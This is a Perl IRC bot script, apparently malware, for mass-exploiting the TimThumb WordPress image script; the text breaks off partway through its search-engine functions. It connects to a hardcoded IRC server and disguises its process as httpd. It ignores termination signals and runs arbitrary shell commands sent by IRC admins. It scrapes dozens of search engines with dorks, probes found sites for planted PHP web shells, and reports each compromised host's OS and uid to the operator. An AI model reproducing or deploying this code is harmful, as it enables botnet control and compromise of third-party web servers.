#!/usr/bin/perl################################################## Timthumb v 1.02 #######################################################################
use HTTP::Request; #use HTTP::Request::Common; #use HTTP::Request::Common qw(POST); #use LWP::Simple; #use LWP 5.64; #use LWP::UserAgent; #use Socket; #use IO::Socket; #use IO::Socket::INET; #use IO::Select; #use MIME::Base64; ##########################################################my $datetime = localtime;my $fakeproc = "/usr/sbin/httpd";my $ircserver = '94.249.208.164' unless $ircserver;my $ircport = '6667';my $nickname = "jatimcrew";my $ident = "jatimcrew";my $channel = "#IRH";my $admin = "bom2stalker";my $username = " 4,1( 9@ IRH 4,1) ";my $thumblogo = " 4,1( 9! 0timthumb 4,1)";my $thumbcmd = '!tim';my $thumbshell = "shell.php";my $stalker1 = "/cache/1ca925cd2bacd505294eb39c9f85233f.php";my $stalker2 = "/cache/external_1ca925cd2bacd505294eb39c9f85233f.php";my $stalker3 = "/temp/1ca925cd2bacd505294eb39c9f85233f.php";my $stalker4 = "/temp/external_1ca925cd2bacd505294eb39c9f85233f.php";my $stalker5 = "/wp-content/uploads/thumb-temp/1ca925cd2bacd505294eb39c9f85233f.php";my $engine ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR,Clix,Search66,BigLobe,InteRia,PaGIna";my @uagents = ("Mozilla/5.0 (compatible; Googlebot/2.0; +http://www.google.com/bot.html)","FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)","Gigabot/3.0 (http://www.gigablast.com/spider.html)","gsa-crawler (Enterprise; GID-01422; jplastiras@google.com)","Mozilla/5.0 (Windows; U; Windows NT 5.1;en-US;rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12","IlTrovatore-Setaccio/1.2 (http://www.iltrovatore.it/aiuto/faq.html)","Mozilla/5.0 (Windows;U;Windows NT 5.1; l-PL;rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4","Infoseek SideWinder/2.0B (Linux 2.4 i686)","Mozilla/5.0 (X11;U;Linux i686 (x86_64);en-US;rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6","Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)","Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1","Mozilla/5.0 (compatible;bingbot/2.0;+http://www.bing.com/bingbot.htm)","Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)");my $uagent = $uagents[rand(scalar(@uagents))];my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ";print ('Ps-X TeaM');$SIG{'INT'} = 'IGNORE';$SIG{'HUP'} = 'IGNORE';$SIG{'TERM'} = 'IGNORE';$SIG{'CHLD'} = 'IGNORE';$SIG{'PS'} = 'IGNORE';chdir("/");$ircserver = "$ARGV[0]" if $ARGV[0];$0 = "$fakeproc"."\0" x 16;my $pid = fork;exit if $pid;die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);our %irc_servers;our %DCC;my $dcc_sel = new IO::Select->new();$sel_client = IO::Select->new();sub sendraw {if ($#_ == '1') {my $socket = $_[0];print $socket "$_[1]\n";} else {print $IRC_cur_socket "$_[0]\n";}}sub connector {my $mynick = $_[0];my $ircserver_con = $_[1];my $ircport_con = $_[2];my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);if (defined($IRC_socket)) {$IRC_cur_socket = $IRC_socket;$IRC_socket->autoflush(1);$sel_client->add($IRC_socket);$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;nick("$mynick");sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$username");sleep (1);}}sub parse {my $servarg = shift;if ($servarg =~ /^PING \:(.*)/) {sendraw("PONG :$1");}elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {if (lc($1) eq lc($mynick)) {$mynick = $4;$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;}}elsif ($servarg =~ m/^\:(.+?)\s+433/i) {nick("$mynick".int rand(999));}elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {$mynick = $2;$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;$irc_servers{$IRC_cur_socket}{'nome'} = "$1";sendraw("MODE $mynick +i");sendraw("JOIN $channel");sleep(1);sendraw("PRIVMSG $channel :irhtim ready");sendraw("PRIVMSG $admin : 9SIAP");}}my $line_temp;while( 1 ) {while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }delete($irc_servers{''}) if (defined($irc_servers{''}));my @ready = $sel_client->can_read(0);next unless(@ready);foreach $fh (@ready) {$IRC_cur_socket = $fh;$mynick = $irc_servers{$IRC_cur_socket}{'nick'};$nread = sysread($fh, $ircmsg, 4096);if ($nread == 0) {$sel_client->remove($fh);$fh->close;delete($irc_servers{$fh});}@lines = split (/\n/, $ircmsg);$ircmsg =~ s/\r\n$//;if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);if ($path eq $mynick) {if ($msg =~ /^ PING (.*) /) {sendraw("NOTICE $nick : PING $1 ");}if ($msg =~ /^ VERSION /) {sendraw("NOTICE $nick : VERSION mIRC irh ");}if ($msg =~ /^ TIME /) {sendraw("NOTICE $nick : TIME ".$datetime." ");}if (&isAdmin($nick) && $msg eq "!die") {&shell("$path","kill -9 $$");}if (&isAdmin($nick) && $msg eq "!quit") {&shell("$path","killall -9 perl");}if (&isAdmin($nick) && $msg eq "!rehash") {sendraw("QUIT : 9Restart Proses...");}if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {sendraw("JOIN #".$1);}if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {sendraw("PART #".$1);}if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {sendraw("NICK ".$1);}if (&isAdmin($nick) && $msg =~ /^!pid/) {sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");}if (&isAdmin($nick) && $msg !~ /^!/) {&shell("$nick","$msg");}}else {if (&isAdmin($nick) && $msg eq "!die") {&shell("$path","kill -9 $$");}if (&isAdmin($nick) && $msg eq "!quit") {&shell("$path","killall -9 perl");}if (&isAdmin($nick) && $msg eq "!rehash") {sendraw("QUIT : 9Restart Proses...");}if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {sendraw("JOIN #".$1);}if (&isAdmin($nick) && $msg eq "!part") {sendraw("PART $path");}if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {sendraw("PART #".$1);}if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {&shell("$path","$1");}if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {&shell("$path","$1");}######################################################### HELP COMMANDif ($msg=~ /^!help/) {my $helplogo = " 4( 9@ 0Help 4)";¬ice("$nick","$helplogo 9################## 12HELP 9################## ");¬ice("$nick","$helplogo 0This Bot For TimThumb Scanner Only ");¬ice("$nick","$helplogo 4Command : $thumbcmd [bug] [Dork] ");¬ice("$nick","$helplogo 9################## 12irh 9################## ");}if (&isAdmin($nick) && $msg =~ /^!pid/) {¬ice("$nick"," 4,1Fake Process/PID : $fakeproc - $$");}######################################################### TIMTHUMBif ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {if (my $pid = fork) {waitpid($pid, 0);}else {if (fork) { exit; } else {my ($bug,$dork) = ($1,$2);&msg("$path","$thumblogo 0Dork : 9 $dork");&msg("$path","$thumblogo 0Bugz : 9 $bug");&msg("$path","$thumblogo 4,1Search Engine Loading ...");&scan_start($path,$bug,$dork,$engine,3);}exit;}}}}for(my $c=0; $c<= $#lines; $c++) {$line = $lines[$c];$line = $line_temp.$line if ($line_temp);$line_temp = '';$line =~ s/\r$//;unless ($c == $#lines) {&parse("$line");} else {if ($#lines == 0) {&parse("$line");} elsif ($lines[$c] =~ /\r$/) {&parse("$line");} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {&parse("$line");} else {$line_temp = $line;}}}}}#########################################sub type () {my ($chan,$bug,$dork,$engine,$type) = @_;if ($type == 1){&rfi($chan,$bug,$dork,$engine);}elsif ($type == 2){&lfi($chan,$bug,$dork,$engine);}elsif ($type == 3){&thumb($chan,$bug,$dork,$engine);}}sub scan_start() {my ($chan,$bug,$dork,$engine,$type) = @_;if ($engine =~ /google/i) {if (my $pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); } exit; }}if ($engine =~ /rediff/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ReDiff",$type); } exit; }}if ($engine =~ /bing/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type); } exit; }}if ($engine =~ /altavista/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ALtaViSTa",$type); } exit; }}if ($engine =~ /ask/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type); } exit; }}if ($engine =~ /uol/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type); } exit; }}if ($engine =~ /yahoo/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOo",$type); } exit; }}if ($engine =~ /clusty/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CluSty",$type); } exit; }}if ($engine =~ /gutser/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GutSer",$type); } exit; }}if ($engine =~ /google2/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGle2",$type); } exit; }}if ($engine =~ /virgilio/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VirgiLio",$type); } exit; }}if ($engine =~ /webde/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WebDe",$type); } exit; }}if ($engine =~ /exalead/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ExaLead",$type); } exit; }}if ($engine =~ /lycos/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type); } exit; }}if ($engine =~ /hotbot/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type); } exit; }}if ($engine =~ /aol/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type); } exit; }}if ($engine =~ /sapo/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type); } exit; }}if ($engine =~ /duck/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DuCk",$type); } exit; }}if ($engine =~ /lygo/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyGo",$type); } exit; }}if ($engine =~ /yause/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YauSe",$type); } exit; }}if ($engine =~ /baidu/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BaiDu",$type); } exit; }}if ($engine =~ /kipot/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KiPoT",$type); } exit; }}if ($engine =~ /gibla/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GiBLa",$type); } exit; }}if ($engine =~ /black/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BLacK",$type); } exit; }}if ($engine =~ /onet/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"oNeT",$type); } exit; }}if ($engine =~ /sizuka/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SiZuka",$type); } exit; }}if ($engine =~ /walla/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type); } exit; }}if ($engine =~ /demos/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DeMos",$type); } exit; }}if ($engine =~ /rose/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RoSe",$type); } exit; }}if ($engine =~ /seznam/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZnaM",$type); } exit; }}if ($engine =~ /tiscali/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TisCali",$type); } exit; }}if ($engine =~ /naver/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NaVeR",$type); } exit; }}if ($engine =~ /clix/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type); } exit; }}if ($engine =~ /search66/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Search66",$type); } exit; }}if ($engine =~ /biglobe/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type); } exit; }}if ($engine =~ /interia/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InteRia",$type); } exit; }}if ($engine =~ /pagina/i) {if ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PaGIna",$type); } exit; }}}######### TIMTHUMBsub thumb() {my $chan = $_[0];my $bug = $_[1];my $dork = $_[2];my $engine = $_[3];my $count = 0;my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);my $num = scalar(@list);if ($num > 0) {foreach my $site (@list) {$count++;if ($count == $num-1) { &msg("$chan","$thumblogo( 9@ 0$engine 4,1) 00 Scan finish "); }my $vuln = "http://".$site.$bug."?src=".$thumbshell;my $cek = &get_content($vuln);sleep(1);if ($cek =~ /unable to open image/i) {&msg("$chan"," 4,1 E 0x 03PL 2o 0i 4,1t 4Z 00 $site");sleep(1);(my $stalker = $bug)=~ s{/[^/]+\z}{};my $vuln2 = "http://".$site.$stalker.$stalker1;my $vuln3 = "http://".$site.$stalker.$stalker2;my $vuln4 = "http://".$site.$stalker.$stalker3;my $vuln5 = "http://".$site.$stalker.$stalker4;my $vuln6 = "http://".$site.$stalker5;my $god = "bom2stalker";my $safe ="";my $os ="";my $free ="";my $uid ="";my $check1 = &get_content($vuln2);sleep(1);my $check2 = &get_content($vuln3);sleep(1);my $check3 = &get_content($vuln4);sleep(1);my $check4 = &get_content($vuln5);sleep(1);my $check5 = &get_content($vuln6);sleep(1);if ($check1 =~ /GIF89a/i) {if ($check1 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}&msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln2." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");&msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln2." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");&msg("$god","Nih Bos ".$vuln2." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");}if ($check2 =~ /GIF89a/i) {if ($check1 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}&msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln3." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");&msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln3." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");&msg("$god","Nih Bos ".$vuln3." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");}if ($check3 =~ /GIF89a/i) {if ($check1 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}&msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln4." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");&msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln4." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");&msg("$god","Nih Bos ".$vuln4." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");}if ($check4 =~ /GIF89a/i) {if ($check1 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}&msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln5." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");&msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln5." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");&msg("$god","Nih Bos ".$vuln5." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");}if ($check5 =~ /GIF89a/i) {if ($check1 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}&msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln6." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");&msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln6." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");&msg("$god","Nih Bos ".$vuln6." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");}}}}}#####################################sub search_engine() {my (@total,@clean);my $chan = $_[0];my $bug = $_[1];my $dork = $_[2];my $engine = $_[3];my $logo = $_[4];if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }if ($engine eq "Search66") { my @search66 = &search66($dork); push(@total,@search66); }if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }if ($engine eq "InteRia") { my @interia = &interia($dork); push(@total,@interia); }if ($engine eq "PaGIna") { my @pagina = pagina($dork); push(@total,@pagina); }@clean = clean(@total);&msg("$chan","$logo( 4@ 8$engine 15) 4 Total: 0 (".scalar(@total).") 4 Clean: 0 (".scalar(@clean).") ");return @clean;}#########################################sub isFound() {my $status = 0;my $link = $_[0];my $reqexp = $_[1];my $res = &get_content($link);if ($res =~ /$reqexp/) { $status = 1 }return $status;}sub get_content() {my $url = $_[0];my $ua = LWP::UserAgent->new(agent => $uagent);$ua->timeout(7);my $req = HTTP::Request->new(GET => $url);my $res = $ua->request($req);return $res->content;}######################################### SEARCH ENGINEsub google() {my @list;my $key = $_[0];for (my $i=0; $i<=400; $i+=10){my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);my $res = &search_engine_query($search);while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {if ($1 !~ /google/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub rediff() {my @list;my $key = $_[0];for (my $i=0; $i<=500; $i+=10) {my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);$b = "$i";my $res = &search_engine_query($search);if ($res !~ /firstres=$b\'>/) {$i=500;}while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {if ($1 !~ /rediff\.com/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub uol() {my @list;my $key = $_[0];for (my $i=1; $i<=500; $i+=10) {my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);my $res = &search_engine_query($search);if ($res !~ m/<span class=\"next\">próxima<\/span>/){$i=500;}while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {if ($1 !~ /uol\.com/) {my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub bing() {my @list;my $key = $_[0];for (my $i=1; $i<=500; $i+=10) {my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");my $res = &search_engine_query($search);if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {if ($1 !~ /bing\.com/) {my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub altavista() {my @list;my $key = $_[0];for (my $i=1; $i<=500; $i+=10){my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);my $res = &search_engine_query($search);if ($res !~ /target=\"_self\">Succ/) {$i=500;}while ($res =~ m/<span class=ngrn>(.+?)\//g) {if ($1 !~ /altavista/){my $link = $1;$link =~ s/<//g;$link =~ s/ //g;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub ask() {my @list;my $key = $_[0];for (my $i=1; $i<=50; $i+=1) {my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");my $res = &search_engine_query($search);if ($res !~ /Successiva/) {$i=50;}while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {if ($1 !~ /ask\.com/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub yahoo(){my @list;my $key = $_[0];my $b = 0;for ($b=1; $b<=500; $b+=10) {my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);my $res = &search_engine_query($search);while ($res =~ m/http\%3a\/\/(.+?)\"/g) {if ($1 !~ /yahoo\.com/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub clusty() {my @list;my $key = $_[0];my $b = 0;for ($b=10; $b<=500; $b+=10) {my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");my $res = &search_engine_query($search);if ($res !~ /next/) {$b=500;}while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {if ($1 !~ /yippy\.com/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub gutser() {my @list;my $key = $_[0];for ($b=1; $b<=50; $b+=1) {my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");my $res = &search_engine_query($search);while ($res =~ m/http:\/\/([^>\"]*)\">/g) {if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub google2() {my @list;my $key = $_[0];my $b = 0;my @doms =("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];for ($b=1; $b<=200; $b+=10) {my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");my $res = &search_engine_query($search);while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {if ($1 !~ /google/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}} return @list;}}sub exalead() {my @list;my $key = $_[0];for ($b=0; $b<=1000; $b+=100) {my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);my $res = &search_engine_query($search);if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {my $link = $1;if ($link!~ /exalead/){my @grep = &links($link);push(@list,@grep);}}}return @list;}sub lycos() {my @list;my $key = $_[0];for ($b=0; $b<=50; $b+=1) {my $search = 